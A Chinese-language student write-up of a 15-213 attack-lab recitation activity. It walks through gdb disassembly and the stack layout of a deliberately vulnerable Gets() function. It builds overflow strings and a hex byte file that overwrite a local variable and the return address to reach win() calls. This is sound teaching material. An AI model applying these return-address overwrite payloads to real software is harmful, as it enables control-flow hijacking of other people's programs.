目录

Attack lab recitation

输入gdb activity,开启 activity 之旅。

Objective: The goal of this activity is to input a string that causes the program to call win(0x15213), and thereby win a cookie. 在开启之前,先查看一下solve函数的内容:

c

void solve(void) {
    volatile long before = 0xb4;
    char buf[16];
    volatile long after = 0xaf;

    Gets(buf);

    if (before == 0x3331323531) {
        win(0x15213);
    }

    if (after == 0x3331323831) {
        win(0x18213);
    }
}

看一下solve的汇编代码:

text

(gdb) disas solve
Dump of assembler code for function solve:
   0x00000000000011df <+0>:     endbr64
   0x00000000000011e3 <+4>:     sub    $0x38,%rsp
   0x00000000000011e7 <+8>:     movq   $0xb4,0x28(%rsp)
   0x00000000000011f0 <+17>:    movq   $0xaf,0x8(%rsp)
   0x00000000000011f9 <+26>:    lea    0x10(%rsp),%rdi
   0x00000000000011fe <+31>:    callq  0x1279 <Gets>
   0x0000000000001203 <+36>:    mov    0x28(%rsp),%rdx
   0x0000000000001208 <+41>:    movabs $0x3331323531,%rax
   0x0000000000001212 <+51>:    cmp    %rax,%rdx
   0x0000000000001215 <+54>:    je     0x1230 <solve+81>
   0x0000000000001217 <+56>:    mov    0x8(%rsp),%rdx
   0x000000000000121c <+61>:    movabs $0x3331323831,%rax
   0x0000000000001226 <+71>:    cmp    %rax,%rdx
   0x0000000000001229 <+74>:    je     0x123c <solve+93>
   0x000000000000122b <+76>:    add    $0x38,%rsp
   0x000000000000122f <+80>:    retq
   0x0000000000001230 <+81>:    mov    $0x15213,%edi
   0x0000000000001235 <+86>:    callq  0x1169 <win>
   0x000000000000123a <+91>:    jmp    0x1217 <solve+56>
   0x000000000000123c <+93>:    mov    $0x18213,%edi
   0x0000000000001241 <+98>:    callq  0x1169 <win>
   0x0000000000001246 <+103>:   jmp    0x122b <solve+76>
End of assembler dump.

函数给solve预留了 56 个字节的空间:

  1. before = 0xb4移动到%rsp + 40
  2. after = 0xaf移动到%rsp + 8
  3. %rdi = %rsp + 16
  4. 调用gets
  5. %rdx = *(%rsp + 40),把before赋给%rdx
  6. %rax = $0x3331323531
  7. 接下来是个判断:

c

if(rdx == rax) {
    edi = 0x15213;
    callq win
}
rdx = *(rsp + 8);
rax = 0x3331323831;
if(rdx == rax) {
  edi = 0x18213;
  callq win;
}
rsp += 40;
return;

完成gets之前的调用后,栈分布大致如下(一共 56 个字节的分配):

  1. rsp处没有值
  2. rsp + 8处存储after = 0xaf
  3. rsp + 16 ~ rsp + 24处存储 16 字节的buf
  4. rsp + 32处 8 个字节空闲
  5. rsp + 40处存储before = 0xb4
  6. rsp + 56处存储的是调用solvereturn address

查看代码可以理解,要让程序调用win(0x15213),需要让rdx == 0x3331323531,而在这之前rdx = before,所以我们的根本目的是让before = 0x3331323531。就得让buf前 24 个字节为 0,后八个字节等于0x3331323531。该机器为小端法机器,那么这 8 个字节从低地址到高地址的顺序应该是:0x31 0x35 0x32 0x31 0x33 0x00 0x00 0x00,这 8 个个字节翻译成ASCII码就是15213。此外gets一定要读到\n字符,它会把\n替换为\0字符。它不是读到\0字符就终止。后面不需要加0,因为0ASCII编码是0x30。如果最后加了 3 个0的话,最后 8 个字节的地址就会变成0x31 0x35 0x32 0x31 0x33 0x30 0x30 0x30

有几条要注意的点:

  1. 机器为小端法机器,写内存的时候要把数字倒过来
  2. 0x00是在 ASCII 码里面是空字符,0x30在 ASCII 码里面是0
  3. gets要读到\n,他会把\n替换成\0存储在buf中,无需手动\0
  4. 输入的时候只能输入字符串,而不能输入 10 进制或者 16 进制的值,如果函数没有调用atoi,输入一律被当作字符串处理。因此我们需要输入0x3331323531对应的ASCII编码,而不是这个值本身。

输入01234567890123456789012315213,成功调用win(0x15213)。如下:

text

gwen@gwen-virtual-machine:~/Documents/report/code/15213/Ch3 Machine Level Programming/rec5/src$ ./activity
01234567890123456789012315213
You win 1 cookie! Great start!
Returning normally from main

要让这个solve函数跳转到我们插入的代码段(未开启栈随机化/canary/NX bit及其他防护机制,不考虑nop sled),我们需要利用缓冲区溢出,让return address修改为我们所插入的代码段的地址。我们需要让buf的前 40 个字节为任意内容,最后 8 个字节为我们插入的攻击代码的地址。

我们这次的目的是想调到<solve +93>位置处,本次运行过程中该位置的地址是0x000055555555523c,过会儿我们要将其插入buf的第 48-48 字节处。该地址的值换算成小端法是0x3c 0x52 0x55 0x55 0x55 0x55 0x00 0x00。其对应的ASCII码<RUUUU,后面的null0x00。我们要让程序返回的时候跳转到mov $0x18213,%edi。那么构造的字符串应该是0123456789012345678901234567890123456789<RUUUU。结果如下:

text

43          if (after == 0x3331323831) {
(gdb) n
solve () at activity.c:44
44              win(0x18213);
(gdb)
You win 2 cookies! Woohoo!
0x0000000000000000 in ?? ()

成功!

此处我们进行更进阶的攻击,程序中函数solve()并未调用过win(0x18613),让我们尝试返回到win(0x18613)中。此时我们不光只破解solve(),还需要对win函数的代码进行分析。结果如下:

text

(gdb) disas win
Dump of assembler code for function win:
   0x0000555555555169 <+0>:     endbr64
   0x000055555555516d <+4>:     sub    $0x8,%rsp
   0x0000555555555171 <+8>:     cmp    $0x15213,%edi
   0x0000555555555177 <+14>:    je     0x5555555551a7 <win+62>
   0x0000555555555179 <+16>:    cmp    $0x18213,%edi
   0x000055555555517f <+22>:    je     0x5555555551b5 <win+76>
   0x0000555555555181 <+24>:    cmp    $0x18613,%edi
   0x0000555555555187 <+30>:    je     0x5555555551c3 <win+90>
   0x0000555555555189 <+32>:    mov    0x2ea1(%rip),%eax        # 0x555555558030 <mystery>
   0x000055555555518f <+38>:    cmp    $0x15513,%eax
   0x0000555555555194 <+43>:    je     0x5555555551d1 <win+104>
   0x0000555555555196 <+45>:    lea    0xed3(%rip),%rdi        # 0x555555556070
   0x000055555555519d <+52>:    callq  0x555555555030 <puts@plt>
   0x00005555555551a2 <+57>:    add    $0x8,%rsp
   0x00005555555551a6 <+61>:    retq
   0x00005555555551a7 <+62>:    lea    0xe5a(%rip),%rdi        # 0x555555556008
   0x00005555555551ae <+69>:    callq  0x555555555030 <puts@plt>
   0x00005555555551b3 <+74>:    jmp    0x5555555551a2 <win+57>
   0x00005555555551b5 <+76>:    lea    0xedc(%rip),%rdi        # 0x555555556098
   0x00005555555551bc <+83>:    callq  0x555555555030 <puts@plt>
   0x00005555555551c1 <+88>:    jmp    0x5555555551a2 <win+57>
   0x00005555555551c3 <+90>:    lea    0xe5e(%rip),%rdi        # 0x555555556028
   0x00005555555551ca <+97>:    callq  0x555555555030 <puts@plt>
   0x00005555555551cf <+102>:   jmp    0x5555555551a2 <win+57>
   0x00005555555551d1 <+104>:   lea    0xe78(%rip),%rdi        # 0x555555556050
   0x00005555555551d8 <+111>:   callq  0x555555555030 <puts@plt>
   0x00005555555551dd <+116>:   jmp    0x5555555551a2 <win+57>
End of assembler dump.

我们需要跳转到if(arg == 0x18613)后面那句,也就是<win+90>处,该条指令的地址是0x00005555555551c3,转化成小端法是0xc3 0x51 0x55 0x55 0x55 0x55 0x00 0x00,转化成ASCII码也就是ÃQUUUU。因此,我们构造的字符串应该是0123456789012345678901234567890123456789ÃQUUUU。结果如下:

text

(gdb) p $rsp
$2 = (void *) 0x555555559018 <my_stack+4056>
(gdb) x/s 0x555555559018
0x555555559018 <my_stack+4056>: "ÃQUUUU"
(gdb) x/6bx 0x555555559018
0x555555559018 <my_stack+4056>: 0xc3    0x83    0x51    0x55    0x55    0x55

这里出现了一点问题,就是Ã采用Unicode扩展编码,其编码为0xc3 0x83,而我们仅仅需要0xc3,因此我们需要将 16 进制的地址写在文件里,然后用文件作为activity的输入。

Slides 中最后一页告诉我们,提供了hex2raw脚本,可以把 16 进制值写到input2.txt中,然后通过hex2raw转化为input2.bin。我们在input2.txt中写入值30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 31 35 32 31 33 00 30 31 32 33 34 35 36 37 38 39 c3 51 55 55 55 55,将其转化,然后输入./activity < ../inputs/input2.bin

结果如下:

text

(gdb) r < ../inputs/input2.bin
Starting program: /home/gwen/Documents/report/code/15213/Ch3 Machine Level Programming/rec5/src/activity < ../inputs/input2.bin
You win 3 cookies! That's right!

Program received signal SIGSEGV, Segmentation fault.

成功!

相关内容